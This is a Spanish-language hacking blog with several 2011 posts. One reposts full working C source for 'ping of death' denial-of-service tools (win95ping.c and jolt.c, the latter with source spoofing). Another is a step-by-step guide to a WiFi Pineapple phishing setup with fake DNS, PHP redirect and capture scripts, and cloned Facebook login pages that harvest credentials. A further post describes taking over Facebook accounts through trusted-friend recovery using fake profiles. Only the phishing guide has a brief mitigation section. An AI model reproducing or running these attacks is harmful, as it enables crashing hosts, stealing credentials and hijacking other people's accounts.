lunes, 9 de mayo de 2011

Ping

Saludos Mundo Libre.

Estructura del Famoso Ping de la Muerte Ya muchos servidores ya estan parchados con esta vulneravilidad pero expongo la estrctura para aquellos que les gusta programar como yo y modifique o construllas sus herramientas de hackeo.



*
* win95ping.c
*
* Simulate the evil win95 \"ping -l 65510 buggyhost\".
* version 1.0 Bill Fenner 22-Oct-1996
*
* This requires raw sockets that don\'t mess with the packet at all (other
* than adding the checksum). That means that SunOS, Solaris, and
* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,
* OpenBSD, BSDI) will work. Linux might work, I don\'t have a Linux
* system to try it on.
*
* The attack from the Win95 box looks like:
* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+)
* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
*
*/

#include
#include
#include
#include
#include
#include
#include
#include

/*
* If your kernel doesn\'t muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { perror(\"socket\"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror(\"IP_HDRINCL\"); exit(1); } if (argc != 2) { fprintf(stderr, \"usage: %s hostname\\n\", argv[0]); exit(1); } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, \"%s: unknown host\\n\", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf(\"Sending to %s\\n\", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); /* the checksum of all 0\'s is easy to compute */ for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = FIX(offset >> 3);
if (offset < 65120) ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) { fprintf(stderr, \"offset %d: \", offset); perror(\"sendto\"); } if (offset == 0) { icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}


--Linux modification:

/*
* win95ping.c
*
* Simulate the evil win95 \"ping -l 65510 buggyhost\".
* version 1.0 Bill Fenner 22-Oct-1996
* version 1.01 Mike Bremford patched for Linux
* version 1.02 Barak Pearlmutter clean compile
*
* This requires raw sockets that don\'t mess with the packet at all (other
* than adding the checksum). That means that SunOS, Solaris, and
* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,
* OpenBSD, BSDI) will work. Linux might work, I don\'t have a Linux
* system to try it on.
*
* The attack from the Win95 box looks like:
* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+)
* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
*
*/
#ifdef LINUX
#define REALLY_RAW
#define __BSD_SOURCE
#ifndef IP_MF
#define IP_MF 0x2000
#define IP_DF 0x4000
#define IP_CE 0x8000
#define IP_OFFSET 0x1FFF
#endif
#endif

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

/*
* If your kernel doesn\'t muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif


int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
#ifdef LINUX
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
#else
struct icmp *icmp = (struct icmp *)(ip + 1);
#endif
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW,
#ifdef LINUX
IPPROTO_ICMP
#else
IPPROTO_IP
#endif
)) < 0) { perror(\"socket\"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror(\"IP_HDRINCL\"); exit(1); } if (argc != 2) { fprintf(stderr, \"usage: %s hostname\\n\", argv[0]); exit(1); } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, \"%s: unknown host\\n\", argv[1]);
exit(1);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf(\"Sending to %s\\n\", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
#ifdef LINUX
ip->ip_csum = 0; /* kernel fills in */
#else
ip->ip_sum = 0; /* kernel fills in */
#endif
ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

#ifdef LINUX
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8)); /* the checksum of all 0\'s is easy to compute */ #else icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); /* the checksum of all 0\'s is easy to compute */ #endif for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = FIX(offset >> 3);
if (offset < 65120) ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) { fprintf(stderr, \"offset %d: \", offset); perror(\"sendto\"); } if (offset == 0) { #ifdef LINUX icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
#else
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
#endif
}
}
return 0;
}

--Here is jolt.c:

/* Jolt
1.0 (c) 1997 by Jeff w. Roberson
* Please, if you use my code give me credit. Also, if i
was the first to
* find this glitch, please give me credit. Thats all i
ask.
*
* Ok so all this does is build a really fraggmented over
sized packet
* and once win95 gets it, and puts it back together it
locks. I send
* multiple packets by default cause some times it takes a
few packets to
* totally freeze the host. Maybe its spending processor
time to figure
* out how to put them back together? I\'ve had reports of
people blue
* screening from it tho so we\'ll let Microsoft\'s boys
figure out exactly
* what this does to 95. As of now i haven\'t tested it on
NT, but maybe
* i will later ;). All of this source wasn\'t origonally
written by me
* I just took one of the old programs to kill POSIX and
SYSV based
* systems and worked on it abit, then made it spoof =).
* VallaH (yaway@hotmail.com)
*
* Update: It apears to work on some older versions of mac
os
*/

/* Yah this is for linux, but i like the BSD ip header
better then linux\'s */
#define __BSD_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

int main(int argc, char **argv)
{
int s,i;
char buf[400];
struct ip *ip = (struct ip *)buf;
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
struct hostent *hp, *hp2;
struct sockaddr_in dst;
int offset;
int on;
int num = 5;

if (argc < 3) { printf(\"Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\\n\"); printf(\"\\nusage: %s
[number]\\n\",argv[0]);
printf(\"\\tdstaddr is the host your
attacking\\n\");
printf(\"\\tsaddr is the host your spoofing
from\\n\");
printf(\"\\tNumber is the number of packets to send, 5
is the default\\n\");
printf(\"\\nNOTE: This is based on a bug that used to
affect POSIX complient, and SYSV \\n\\t systems so its
nothing new..\\n\");
printf(\"\\nGreets to Bill Gates! How do ya like this
one? :-)\\n\");
exit(1);
}
if (argc == 4) num = atoi(argv[3]);
for (i=1;i<=num;i++) { on=1; bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) { perror(\"socket\"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror(\"IP_HDRINCL\"); exit(1); } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, \"%s: unknown host\\n\", argv[1]);
exit(1);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr,
hp->h_length);
}

if ((hp2 = gethostbyname(argv[2])) == NULL) {
if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
fprintf(stderr, \"%s: unknown host\\n\", argv[2]);
exit(1);
}
} else {
bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr,
hp->h_length);
}

printf(\"Sending to %s\\n\",
inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = htons(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_csum = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8)); for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = htons(offset >> 3);
if (offset < 65120) ip->ip_off |= htons(0x2000);
else
ip->ip_len = htons(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr
*)&dst,
sizeof dst) < 0) { fprintf(stderr, \"offset %d: \", offset); perror(\"sendto\"); } if (offset == 0) { icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
close(s);
usleep(30000);
}
return 0;
}


}


Fuente:http://r00tsecurity.org/db/exploits/296

Publicado por: Dellcom1@

Saludos Mundo Libre.

sábado, 7 de mayo de 2011

Phishing con WiFi Pineapple

Saludos Mundo libre.

Esta guía se basa en la carga automática Rickroll para la Piña WiFi. A raíz de esta guía será capaz de crear un equipo autónomo de WiFi piña o OpenWRT similares basados ​​punto de acceso inalámbrico que sirve a sitios web falsos para capturar las credenciales de inicio de sesión. El propósito de este artículo es señalar la sencillez de un ataque de phishing utilizando la técnica de dnsmasq de la carga automática Rickroll, y cómo puede protegerse de ataques similares. Vea la sección de mitigación en la parte inferior de este artículo para el consejo de defensa.

Antes de empezar por favor, siga las instrucciones que se indican en el artículo de Auto-Rickrolling WiFi y Piña. Una vez finalizado haremos lo siguiente:

1. Instalar PHP y dependencias
2. Configurar PHP y HTTPD
3. Prueba de la instalación de PHP
4. Escribir secuencias de comandos de redirección y captura
5. Modificar un sitio web para capturar las credenciales

Instalar PHP y dependencias

La instalación de PHP en OpenWRT es bastante simple. Teniendo en cuenta las limitaciones de tamaño y la potencia de su dispositivo inmersas como la piña WiFi y lo que estamos tratando de lograr que han optado por el 4x de PHP, en lugar de la 5x más reciente. Siéntase libre para desviarse si sus necesidades requieren las nuevas características de 5.

Comience por descargar e instalar los siguientes paquetes de downloads.openwrt.org: libopenssl_0.9.8i-3.2_mips.ipk, php4_4.4.7-1_mips.ipk, php4-cgi_4.4.7 1_mips.ipk y zlib_1.2.3 5_mips.ipk-



Por otra parte, todo lo necesario para este truco se puede descargar en este archivo.

Copiar los archivos del paquete (*. IPK) a la piña WiFi en / root / con el comando scp de Linux o una utilidad de CPS en Windows como WinSCP o Plink.

Abrir un shell en la piña WiFi utilizando el cliente de ssh de elección (en Windows recomiendo PuTTY) y acceder como root. Usted ya debe estar localizado en / root / después de la tala pulg Emita el "pwd" comando para estar seguros, o de cambio de directorio en / root / con "cd / root / ". Compruebe que los paquetes han sido copiados mediante la emisión de la "ls" para listar el contenido del directorio. Usted debe ver el paquete de cuatro archivos en la lista. Para instalar todas tema "instalar opkg *. ipk"

Después de unos momentos de cada paquete debe ser instalado. Ahora es el momento de configurar el PHP y el servidor HTTP.
Configurar PHP y HTTPD

Dos cambios deben hacerse para que el servidor HTTP de reconocer. archivos PHP y procesarlos correctamente.

En primer lugar tendremos que añadir una línea en el archivo httpd.conf en / etc / así que o abrirlo con el editor de texto favorito (vi ya está instalado) o simplemente ejecutar el comando "echo" *. php: / usr / bin / php ">> / etc / httpd.conf". Verifique que la línea se ha añadido con "cat / etc / httpd.conf"


A continuación tendremos que añadir una línea en el archivo php.ini en / etc /. Una vez abierto el archivo en un editor o agregue la línea con "echo" cgi.force_redirect 0 ">> / etc / php.ini" y verifique con "grep cgi.force_redirect / etc / php.ini"


Ahora reinicie el servidor web, ya sea mediante la emisión de "/ etc / init.d / httpd restart" o simpy reiniciar la piña WiFi con el "reinicio" de comandos. También es seguro desconectar simplemente el poder y vuelva a conectarlo

Una vez que el HTTPD y archivos de configuración de PHP se han modificado y el servidor se haya reiniciado podemos pasar a probar la instalación de PHP.
Prueba de la instalación de PHP

PHP tiene una función muy útil para comprobar el poco su instalación. Si reinicia su WiFi Piña tendrá que volver a iniciar sesión en un shell como root. Una vez situados, cambie al directorio / www / con el "cd / www /" comando. Ahora tendremos que crear un archivo test.php por lo que "test.php toque" asunto. Próximo número "" test.php> ". Compruebe que la cadena ha escrito en el archivo con el "test.php gato" de comandos.


Con el archivo por escrito que puede probar la instalación de PHP navegando a test.php en el servidor web. Recuerde que, siguiendo las instrucciones del artículo de Auto-Rickrolling WiFi Piña somos capaces de llegar al servidor web desde cualquier dirección URL solicitada. Sobre la base de la dnsmasq.conf, no hay diferencia entre example.com y google.com. Señalando su navegador para, por ejemplo, http://example.com/test.php deben producir los siguientes resultados:


Escribir secuencias de comandos de redirección y captura

Dado que el archivo dnsmasq.conf enviará ninguna dirección URL solicitada a la raíz del servidor web, tendremos que escribir un pequeño script PHP para identificar la dirección URL solicitada y presentar al usuario con la página correspondiente. Una vez que el usuario se registra en la página falsa vamos a utilizar una secuencia de comandos error.php para capturar las credenciales y registro en un archivo.

Desafortunadamente en el momento de la escritura me ha sido imposible convencer a los servidores Web pequeña para procesar archivos PHP como índices. La solución barata por ahora es escribir una meta simple redirección archivo index.html que apunta a nuestro script redirect.php para el procesamiento real. Esperemos que este paso se puede quitar en el futuro, pero por ahora tendrás que abrir el archivo index.html en / www su / usando el editor favorito y sustituir el contenido por el siguiente:



html head meta http-equiv="REFRESH" content="0;url=redirect.php"


Ya por la página de diversión. Crear un archivo redirect.php con el "toque redirect.php" comando y abrirlo con un editor de texto, por ejemplo "vi redirect.php".

Nota: Si eres nuevo aquí vi una introducción desnudo mínimos: Hay dos modos de vi, el modo comando y el modo de inserción. Por defecto estará en modo de comando. Pulse el botón "i" para entrar en modo de inserción que le permite escribir en el archivo. Presione ESC para volver al modo comando. El comando ": x" guarda y se cierra. Obtenga más información sobre el uso de vi.

Aquí hay un script redirect.php ejemplo. Modificar como se ve necesario. Vamos a romper la línea por línea.


?php
$ref = $_SERVER['HTTP_REFERER'];

if (strpos($ref, "facebook")) { header('Location: facebook.html'); }

require('peets.html');

?


La primera línea le dice a PHP para comenzar a procesar las siguientes líneas de código.

La segunda establece el valor de la variable "ref"como el HTTP_REFERER. Esta variable se obtiene de "_SERVER" y básicamente nos dice que dirección URL que el cliente está viniendo. Desde dnsmasq.conf está configurado para enviar cualquier sitio web a la raíz de nuestro servidor web, esto podría ser cualquier cosa.

La tercera línea se utiliza la función srtpos para mirar dentro del "ref" variable que acabamos de configurar y ver si la palabra "facebook" está en algún lugar en el interior. Esto significa que tanto "http://facebook.com" y "http://www.facebook.com" volvería realidad. Nota: Lo mismo va para facebooksucks.com o cualquier variación que contiene la cadena "facebook".

Si la palabra "facebook" se encuentra en la variable "ref" el encabezado de la función será definir la ubicación del navegador para facebook.html - un archivo vamos a crear aquí en un minuto.

Para phishing varios dominios, se crearía adicional similar si las declaraciones a medida de las direcciones URL que desee.

La cuarta línea sólo se tramitará si las afirmaciones anteriores no se encuentran para ser verdad. En nuestro ejemplo estamos sólo en busca de facebook, pero la lista podría ser más amplia. Los requisitos función le dice a PHP para cargar el contenido del archivo-en nuestro caso peets.html. Esto podría ser cualquier cosa de términos de contrato de servicios, una página de Internet en vuelo de compra o el archivo de índice de edad de nuestro querido Auto-Rickroll.

La quinta línea se cierra el proceso PHP.

Con el fin de capturar los datos enviados desde nuestras páginas de imitación tendremos que diseñar un archivo error.php. Sin entrar en una línea por línea de explicación, básicamente, este archivo se ve a dos variables envió a él - el nombre y pasar - y los escribe en el archivo bitches.txt


Tendremos que crear el archivo bitches.txt en / www / y cambiar los permisos para emitir los "touch / www / bitches.txt" y "chmod 777 / www / bitches.txt"

He incluido unas pocas líneas para evitar la manipulación y agregar el registro. El final del archivo es HTML básico para mostrar un falso "503 Servicio no disponible " error. Una vez más, esto puede ser personalizado a su contenido corazones. Por ejemplo, volviendo a la página de inicio de sesión puede convencer a un usuario inconsciente de que su contraseña no fue aceptada y darles la oportunidad de probar "la contraseña de otro ".
Modificar un sitio web para capturar las credenciales

El último paso en este ataque de phishing es realmente copiar y modificar las páginas de nuestros sitios falsos. En nuestro ejemplo, hasta ahora hemos estado utilizando facebook.com como el objetivo, así que siga este ejemplo. El uso de un navegador web (o de lujo consiguiendo con curl o wget) guardar la página principal de su sitio de destino. En cromo, haga clic en la llave y elige "Guardar página como". Guardar el sitio como "página web completa". Esto le ahorrará no sólo el HTML, pero crear una carpeta incluyendo la imagen y de componentes adicionales Javascript.


Abra el archivo HTML en tu editor de texto favorito y buscar la siguiente cadena: ". Establezca la variable de acción para la igualdad", "método de formulario =" post "error.php".

facebook2


Ahora cheque por el "input type =" cadena de texto "" y encontrar el campo nombre de usuario. Cambiar el nombre de variable a la igualdad de "nombre" si no está ya.


Por último cheque por el "input type =" cadena de la contraseña "" y cambiar la variable de nombre a "pasar ".


Su página de entrada falsa ya está listo para ser subido a la piña WiFi. Con una herramienta como la copia de la carpeta WinSCP facebook facebook.html y de acompañamiento a / www / en el dispositivo.

Con estas tres modificaciones en la secuencia de comandos error.php será recogida el contenido del nombre y pasar a los campos de texto. Prueba de ello, la navegación a facebook.com mientras está conectado a tu red WiFi Piña. Usted debe ver a su página de inicio falsa. Introducción de las credenciales falsas que lo llevará a la error.php mostrar un falso error de 503, y la comprobación facebook.com / bitches.txt debe mostrar la información capturada.
¿Cómo no ser víctima de este ataque

Es evidente que las limitaciones de disco en la piña WiFi va a evitar que uno sirviendo versiones rostro de cada sitio en Internet - así que si estás conectado a uno de estos dispositivos tortuosos y no pueden acceder a una URL oscuro, algo está pasando. También te darás cuenta que la navegación a facebook.com en este ejemplo remite a facebook.com / facebook.html - que debería ser un signo seguro de problemas. La parte más evidente de este ataque es que cada dominio que podría ping va a informar una respuesta de 192.168.1.1 - la alerta roja enorme que no estamos en Kansas.


Por último, tenga en cuenta que tener contraseñas dos o tres no es suficiente. Cada sitio tiene su propia contraseña segura y única. Considere el uso de un gestor de contraseñas como LastPass, 1Password o KeePass.

Para leer más y asesoramiento en la identificación de sitios de phishing ver antiphishing.org.


Fuente:http://hak5.org/hack/pineapple-phishing Exelente WEB se las recomiendo ampliamente.

Traduccion: Dellcom1@

Video:http://www.youtube.com/watch?v=3uNdu9TM3HM&feature=player_embedded#at=456

Saludos Mundo Libre.

viernes, 6 de mayo de 2011

Unblock Facebook with out Facebook Proxy

Saludos Mundo libre.

Desbloquear Facebook es un proxy gratuito que te permite desbloquear sitios de redes sociales como Facebook, MySpace, YouTube y en la escuela o al trabajo! Mediante el uso de desbloquear Facebook, también puede permanecer en el anonimato y navegar de manera segura.

Cuenta tambien con SSL.

SSL (HTTPS) no está habilitada. Haga clic en el candado para que pueda. SSL encripta el tráfico entre el ordenador y este sitio, por lo que es más seguro y más difícil de bloquear.

Fuente:http://unblockbook.biz/

Traduccion:Dellcom1@

Comentarios: Exelente pagina Provada y Aprovada.

Saludos Mundo libre.

Otra de Hacking the facebook

Saludos Mundo libre.

Otra de hacking The Facebook.

Cómo Hackear contraseña de Facebook:

Hackear contraseñas de Facebook
Como hackear contraseñas de Facebook por agregar en la lista de amigos

En estos días muchos usuarios de Facebook tienen cientos y posiblemente miles de amigos. Más amigos de aumentar la posibilidad de que su cuenta de Facebook será cortado - especialmente si usted acepta solicitudes de amistad de gente que no lo conoce.

Vulnerabilidad crítica que se encuentran en FACEBOOK

No es del todo inusual que los usuarios de Facebook reciban solicitudes de amistad de la gente que no lo conosca. A menudo, las solicitudes de amistad son aceptadas ciegamente en un esfuerzo por aumentar la base de la amistad. Parece que, sobre todo las personas con cuentas de Facebook que se utilizan principalmente para fines de marketing son más propensos a aceptar solicitudes de amistad de las personas no saben que el típico usuario de Facebook hace.

Dichas cuentas pueden ser fácilmente hackeadas, y no hay talento pirata ingenioso obligados a hacerlo: Usted sólo tendrá que caminar a través del proceso de Facebook Passwork recuperación con otros dos amigos de Facebook de una cuenta específica.

Usted puede acceder a una cuenta de Facebook de tus amigos a través de un enfoque de colusión. Tienes que utilizar la función de recuperación de la contraseña de Facebook, que es accesible a través del "¿Olvidaste tu contraseña?" Que aparece en la página de acceso a Facebook.

Una vez identificado el amigo, Facebook sugerido para recuperar la contraseña a través de la dirección de correo electrónico existentes. Sin embargo, puede evitar este obstáculo haciendo clic en el "ya no tienen acceso a estos?" Enlace. En ese caso, Facebook pide una dirección de correo electrónico nuevo. En el siguiente paso, Facebook presenta la pregunta de seguridad vinculados a la cuenta. Sin embargo, también puede pasar por alto la cuestión de escribir las respuestas incorrectas tres veces en una falla. Después de eso, Facebook ofrece una manera bastante sorprendente para obtener su cuenta de nuevo - a través de la ayuda de tres amigos.

1. En primer lugar, se selecciona tres amigos "de confianza". Estos tres amigos a continuación, recibirás un código, que es necesario para cambiar la contraseña de la cuenta.

2. Seleccione usted mismo y de inmediato recibió un código de Facebook. Con estos tres códigos, usted puede fácilmente cambiar la contraseña de la cuenta de destino.

3. El problema con claridad es que tres amigos a los que no se sabe muy bien y no se puede confiar podría potencialmente tener acceso a la cuenta de Facebook víctima - a través de la función de contraseña de recuperación estándar.

4. Para evitar los problemas mencionados en el paso 3 de ingeniería social. Crea tu propia 2 más perfiles falsos y añadir a la víctima como un amigo en facebook. ¡Ahora todos los códigos de tres y ya está.

